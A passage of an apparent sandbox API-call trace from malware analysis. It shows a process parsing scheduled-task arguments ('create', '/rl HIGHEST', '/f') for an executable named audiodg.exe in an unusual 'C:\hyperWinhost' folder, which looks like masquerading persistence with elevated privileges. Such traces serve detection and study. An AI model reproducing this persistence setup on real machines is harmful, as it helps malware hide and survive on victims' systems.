(lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.351] StrChrIW (lpStart="'C:\\hyperWinhost\\audiodg.exe'", wMatch=0x3a) returned=":\\hyperWinhost\\audiodg.exe'" [0070.351] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.351] GetProcessHeap () returned 0x310000 [0070.351] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c3f0 [0070.351] _memicmp (_Buf1=0x32c3f0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.351] GetProcessHeap () returned 0x310000 [0070.351] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32c410 [0070.351] GetProcessHeap () returned 0x310000 [0070.351] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d600 [0070.351] _memicmp (_Buf1=0x32d600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.351] GetProcessHeap () returned 0x310000 [0070.351] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x3e) returned 0x329430 [0070.351] SetLastError (dwErrCode=0x7a) [0070.351] SetLastError (dwErrCode=0x0) [0070.351] SetLastError (dwErrCode=0x0) [0070.351] lstrlenW (lpString="'C") returned 2 [0070.351] lstrlenW (lpString="-/") returned 2 [0070.351] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0070.351] SetLastError (dwErrCode=0x490) [0070.351] SetLastError (dwErrCode=0x490) [0070.351] SetLastError (dwErrCode=0x0) [0070.351] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.351] GetProcessHeap () returned 0x310000 [0070.351] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x3c) returned 0x329480 [0070.351] GetProcessHeap () returned 0x310000 [0070.351] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce00 [0070.351] SetLastError (dwErrCode=0x0) [0070.351] SetLastError (dwErrCode=0x0) [0070.351] lstrlenW (lpString="/rl") returned 3 [0070.351] lstrlenW (lpString="-/") returned 2 [0070.351] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.352] lstrlenW (lpString="?") returned 1 [0070.352] lstrlenW (lpString="?") returned 1 [0070.352] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.352] lstrlenW (lpString="rl") returned 2 [0070.352] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.352] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|?|") returned 3 [0070.352] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.352] lstrlenW (lpString="|?|") returned 3 [0070.352] lstrlenW (lpString="|rl|") returned 4 [0070.352] SetLastError (dwErrCode=0x490) [0070.352] lstrlenW (lpString="create") returned 6 [0070.352] lstrlenW (lpString="create") returned 6 [0070.352] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.352] lstrlenW (lpString="rl") returned 2 [0070.352] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.352] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.352] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.352] lstrlenW (lpString="|create|") returned 8 [0070.352] lstrlenW (lpString="|rl|") returned 4 [0070.352] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0070.352] SetLastError (dwErrCode=0x490) [0070.352] lstrlenW (lpString="delete") returned 6 [0070.352] lstrlenW (lpString="delete") returned 6 [0070.352] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.352] lstrlenW (lpString="rl") returned 2 [0070.352] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.352] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|delete|") returned 8 [0070.352] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.352] lstrlenW (lpString="|delete|") returned 8 [0070.352] lstrlenW (lpString="|rl|") returned 4 [0070.352] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0070.353] SetLastError (dwErrCode=0x490) [0070.353] lstrlenW (lpString="query") returned 5 [0070.353] lstrlenW (lpString="query") returned 5 [0070.353] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.353] lstrlenW (lpString="rl") returned 2 [0070.353] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.353] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|query|") returned 7 [0070.353] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.353] lstrlenW (lpString="|query|") returned 7 [0070.353] lstrlenW (lpString="|rl|") returned 4 [0070.353] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0070.353] SetLastError (dwErrCode=0x490) [0070.353] lstrlenW (lpString="change") returned 6 [0070.353] lstrlenW (lpString="change") returned 6 [0070.353] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.353] lstrlenW (lpString="rl") returned 2 [0070.353] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.353] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|change|") returned 8 [0070.353] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.353] lstrlenW (lpString="|change|") returned 8 [0070.353] lstrlenW (lpString="|rl|") returned 4 [0070.353] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0070.353] SetLastError (dwErrCode=0x490) [0070.353] lstrlenW (lpString="run") returned 3 [0070.353] lstrlenW (lpString="run") returned 3 [0070.353] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.353] lstrlenW (lpString="rl") returned 2 [0070.353] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.353] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|run|") returned 5 [0070.354] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.354] lstrlenW (lpString="|run|") returned 5 [0070.354] lstrlenW (lpString="|rl|") returned 4 [0070.354] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0070.354] SetLastError (dwErrCode=0x490) [0070.354] lstrlenW (lpString="end") returned 3 [0070.354] lstrlenW (lpString="end") returned 3 [0070.354] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.354] lstrlenW (lpString="rl") returned 2 [0070.354] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.354] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|end|") returned 5 [0070.354] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.354] lstrlenW (lpString="|end|") returned 5 [0070.354] lstrlenW (lpString="|rl|") returned 4 [0070.354] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0070.354] SetLastError (dwErrCode=0x490) [0070.354] lstrlenW (lpString="showsid") returned 7 [0070.354] lstrlenW (lpString="showsid") returned 7 [0070.354] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.354] lstrlenW (lpString="rl") returned 2 [0070.354] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.354] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|showsid|") returned 9 [0070.354] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|rl|") returned 4 [0070.354] lstrlenW (lpString="|showsid|") returned 9 [0070.354] lstrlenW (lpString="|rl|") returned 4 [0070.354] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0070.354] SetLastError (dwErrCode=0x490) [0070.354] SetLastError (dwErrCode=0x490) [0070.354] SetLastError (dwErrCode=0x0) [0070.354] lstrlenW (lpString="/rl") returned 3 [0070.355] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0070.355] SetLastError (dwErrCode=0x490) [0070.355] SetLastError (dwErrCode=0x0) [0070.355] lstrlenW (lpString="/rl") returned 3 [0070.355] GetProcessHeap () returned 0x310000 [0070.355] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32ddd0 [0070.355] GetProcessHeap () returned 0x310000 [0070.355] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce30 [0070.355] SetLastError (dwErrCode=0x0) [0070.355] SetLastError (dwErrCode=0x0) [0070.355] lstrlenW (lpString="HIGHEST") returned 7 [0070.355] lstrlenW (lpString="-/") returned 2 [0070.355] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0070.355] SetLastError (dwErrCode=0x490) [0070.355] SetLastError (dwErrCode=0x490) [0070.355] SetLastError (dwErrCode=0x0) [0070.355] lstrlenW (lpString="HIGHEST") returned 7 [0070.355] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0070.355] SetLastError (dwErrCode=0x490) [0070.355] SetLastError (dwErrCode=0x0) [0070.355] lstrlenW (lpString="HIGHEST") returned 7 [0070.355] GetProcessHeap () returned 0x310000 [0070.355] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d620 [0070.355] GetProcessHeap () returned 0x310000 [0070.355] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce60 [0070.355] SetLastError (dwErrCode=0x0) [0070.355] SetLastError (dwErrCode=0x0) [0070.355] lstrlenW (lpString="/f") returned 2 [0070.355] lstrlenW (lpString="-/") returned 2 [0070.355] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.355] lstrlenW (lpString="?") returned 1 [0070.355] lstrlenW (lpString="?") returned 1 [0070.355] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.355] lstrlenW (lpString="f") returned 1 [0070.356] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.356] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|?|") returned 3 [0070.356] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.356] lstrlenW (lpString="|?|") returned 3 [0070.356] lstrlenW (lpString="|f|") returned 3 [0070.356] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0070.356] SetLastError (dwErrCode=0x490) [0070.356] lstrlenW (lpString="create") returned 6 [0070.356] lstrlenW (lpString="create") returned 6 [0070.356] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.356] lstrlenW (lpString="f") returned 1 [0070.356] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.356] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.356] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.356] lstrlenW (lpString="|create|") returned 8 [0070.356] lstrlenW (lpString="|f|") returned 3 [0070.356] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0070.356] SetLastError (dwErrCode=0x490) [0070.356] lstrlenW (lpString="delete") returned 6 [0070.356] lstrlenW (lpString="delete") returned 6 [0070.356] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.356] lstrlenW (lpString="f") returned 1 [0070.356] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.356] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|delete|") returned 8 [0070.356] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.356] lstrlenW (lpString="|delete|") returned 8 [0070.356] lstrlenW (lpString="|f|") returned 3 [0070.356] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0070.356] SetLastError (dwErrCode=0x490) [0070.356] lstrlenW (lpString="query") returned 5 [0070.357] lstrlenW (lpString="query") returned 5 [0070.357] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.357] lstrlenW (lpString="f") returned 1 [0070.357] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.357] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|query|") returned 7 [0070.357] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.357] lstrlenW (lpString="|query|") returned 7 [0070.357] lstrlenW (lpString="|f|") returned 3 [0070.357] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0070.357] SetLastError (dwErrCode=0x490) [0070.357] lstrlenW (lpString="change") returned 6 [0070.357] lstrlenW (lpString="change") returned 6 [0070.357] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.357] lstrlenW (lpString="f") returned 1 [0070.357] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.357] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|change|") returned 8 [0070.357] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.357] lstrlenW (lpString="|change|") returned 8 [0070.357] lstrlenW (lpString="|f|") returned 3 [0070.357] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0070.357] SetLastError (dwErrCode=0x490) [0070.357] lstrlenW (lpString="run") returned 3 [0070.357] lstrlenW (lpString="run") returned 3 [0070.357] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.357] lstrlenW (lpString="f") returned 1 [0070.357] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.357] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|run|") returned 5 [0070.357] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.357] lstrlenW (lpString="|run|") returned 5 [0070.358] lstrlenW (lpString="|f|") returned 3 [0070.358] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0070.358] SetLastError (dwErrCode=0x490) [0070.358] lstrlenW (lpString="end") returned 3 [0070.358] lstrlenW (lpString="end") returned 3 [0070.358] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.358] lstrlenW (lpString="f") returned 1 [0070.358] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.358] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|end|") returned 5 [0070.358] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.358] lstrlenW (lpString="|end|") returned 5 [0070.358] lstrlenW (lpString="|f|") returned 3 [0070.358] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0070.358] SetLastError (dwErrCode=0x490) [0070.358] lstrlenW (lpString="showsid") returned 7 [0070.358] lstrlenW (lpString="showsid") returned 7 [0070.358] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.358] lstrlenW (lpString="f") returned 1 [0070.358] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.358] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|showsid|") returned 9 [0070.358] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|f|") returned 3 [0070.358] lstrlenW (lpString="|showsid|") returned 9 [0070.358] lstrlenW (lpString="|f|") returned 3 [0070.358] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0070.358] SetLastError (dwErrCode=0x490) [0070.358] SetLastError (dwErrCode=0x490) [0070.358] SetLastError (dwErrCode=0x0) [0070.358] lstrlenW (lpString="/f") returned 2 [0070.358] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0070.358] SetLastError (dwErrCode=0x490) [0070.359] SetLastError (dwErrCode=0x0) [0070.359] lstrlenW (lpString="/f") returned 2 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x6) returned 0x32ddf0 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce90 [0070.359] SetLastError (dwErrCode=0x0) [0070.359] GetProcessHeap () returned 0x310000 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0) returned 1 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c2e0) returned 0x8 [0070.359] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0 | out: hHeap=0x310000) returned 1 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10) returned 1 [0070.359] GetProcessHeap () returned 0x310000 [0070.359] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd10) returned 0x20 [0070.360] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10 | out: hHeap=0x310000) returned 1 [0070.360] GetProcessHeap () returned 0x310000 [0070.360] GetProcessHeap () returned 0x310000 [0070.360] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c370) returned 1 [0070.360] GetProcessHeap () returned 0x310000 [0070.360] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c370) returned 0x10 [0070.360] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c370 | out: hHeap=0x310000) returned 1 [0070.360] GetProcessHeap () returned 0x310000 [0070.360] GetProcessHeap () returned 0x310000 [0070.360] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40) returned 1 [0070.360] GetProcessHeap () returned 0x310000 [0070.360] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd40) returned 0x20 [0070.361] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40 | out: hHeap=0x310000) returned 1 [0070.361] GetProcessHeap () returned 0x310000 [0070.361] GetProcessHeap () returned 0x310000 [0070.361] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c390) returned 1 [0070.361] GetProcessHeap () returned 0x310000 [0070.361] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c390) returned 0x8 [0070.361] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c390 | out: hHeap=0x310000) returned 1 [0070.361] GetProcessHeap () returned 0x310000 [0070.361] GetProcessHeap () returned 0x310000 [0070.361] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70) returned 1 [0070.361] GetProcessHeap () returned 0x310000 [0070.361] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd70) returned 0x20 [0070.362] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70 | out: hHeap=0x310000) returned 1 [0070.362] GetProcessHeap () returned 0x310000 [0070.362] GetProcessHeap () returned 0x310000 [0070.362] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3b0) returned 1 [0070.362] GetProcessHeap () returned 0x310000 [0070.362] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c3b0) returned 0x10 [0070.362] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3b0 | out: hHeap=0x310000) returned 1 [0070.362] GetProcessHeap () returned 0x310000 [0070.362] GetProcessHeap () returned 0x310000 [0070.362] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0) returned 1 [0070.362] GetProcessHeap () returned 0x310000 [0070.362] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cda0) returned 0x20 [0070.363] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0 | out: hHeap=0x310000) returned 1 [0070.363] GetProcessHeap () returned 0x310000 [0070.363] GetProcessHeap () returned 0x310000 [0070.363] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3d0) returned 1 [0070.363] GetProcessHeap () returned 0x310000 [0070.363] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c3d0) returned 0x8 [0070.363] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3d0 | out: hHeap=0x310000) returned 1 [0070.363] GetProcessHeap () returned 0x310000 [0070.363] GetProcessHeap () returned 0x310000 [0070.363] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0) returned 1 [0070.363] GetProcessHeap () returned 0x310000 [0070.363] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cdd0) returned 0x20 [0070.364] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0 | out: hHeap=0x310000) returned 1 [0070.366] GetProcessHeap () returned 0x310000 [0070.368] GetProcessHeap () returned 0x310000 [0070.368] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x329480) returned 1 [0070.368] GetProcessHeap () returned 0x310000 [0070.369] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329480) returned 0x3c [0070.369] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329480 | out: hHeap=0x310000) returned 1 [0070.369] GetProcessHeap () returned 0x310000 [0070.370] GetProcessHeap () returned 0x310000 [0070.370] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00) returned 1 [0070.370] GetProcessHeap () returned 0x310000 [0070.370] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce00) returned 0x20 [0070.370] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00 | out: hHeap=0x310000) returned 1 [0070.370] GetProcessHeap () returned 0x310000 [0070.370] GetProcessHeap () returned 0x310000 [0070.371] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0) returned 1 [0070.371] GetProcessHeap () returned 0x310000 [0070.371] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ddd0) returned 0x8 [0070.371] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0 | out: hHeap=0x310000) returned 1 [0070.371] GetProcessHeap () returned 0x310000 [0070.371] GetProcessHeap () returned 0x310000 [0070.371] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30) returned 1 [0070.371] GetProcessHeap () returned 0x310000 [0070.371] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce30) returned 0x20 [0070.372] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30 | out: hHeap=0x310000) returned 1 [0070.372] GetProcessHeap () returned 0x310000 [0070.372] GetProcessHeap () returned 0x310000 [0070.372] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620) returned 1 [0070.373] GetProcessHeap () returned 0x310000 [0070.373] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d620) returned 0x10 [0070.373] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620 | out: hHeap=0x310000) returned 1 [0070.373] GetProcessHeap () returned 0x310000 [0070.373] GetProcessHeap () returned 0x310000 [0070.373] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60) returned 1 [0070.373] GetProcessHeap () returned 0x310000 [0070.373] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce60) returned 0x20 [0070.374] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60 | out: hHeap=0x310000) returned 1 [0070.374] GetProcessHeap () returned 0x310000 [0070.374] GetProcessHeap () returned 0x310000 [0070.374] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddf0) returned 1 [0070.374] GetProcessHeap () returned 0x310000 [0070.374] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ddf0) returned 0x6 [0070.374] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddf0 | out: hHeap=0x310000) returned 1 [0070.374] GetProcessHeap () returned 0x310000 [0070.374] GetProcessHeap () returned 0x310000 [0070.375] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90) returned 1 [0070.375] GetProcessHeap () returned 0x310000 [0070.375] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce90) returned 0x20 [0070.375] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90 | out: hHeap=0x310000) returned 1 [0070.375] GetProcessHeap () returned 0x310000 [0070.375] GetProcessHeap () returned 0x310000 [0070.375] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bab0) returned 1 [0070.376] GetProcessHeap () returned 0x310000 [0070.376] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bab0) returned 0x18 [0070.376] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bab0 | out: hHeap=0x310000) returned 1 [0070.376] SetLastError (dwErrCode=0x0) [0070.376] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0070.376] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0070.376] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0070.376] VerifyVersionInfoW (in: lpVersionInformation=0x1bc1d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bc1d0) returned 1 [0070.377] SetLastError (dwErrCode=0x0) [0070.377] lstrlenW (lpString="create") returned 6 [0070.377] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0070.377] SetLastError (dwErrCode=0x490) [0070.377] SetLastError (dwErrCode=0x0) [0070.377] lstrlenW (lpString="create") returned 6 [0070.377] GetProcessHeap () returned 0x310000 [0070.377] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce90 [0070.377] GetProcessHeap () returned 0x310000 [0070.377] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d620 [0070.377] _memicmp (_Buf1=0x32d620, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.377] GetProcessHeap () returned 0x310000 [0070.377] RtlAllocateHeap 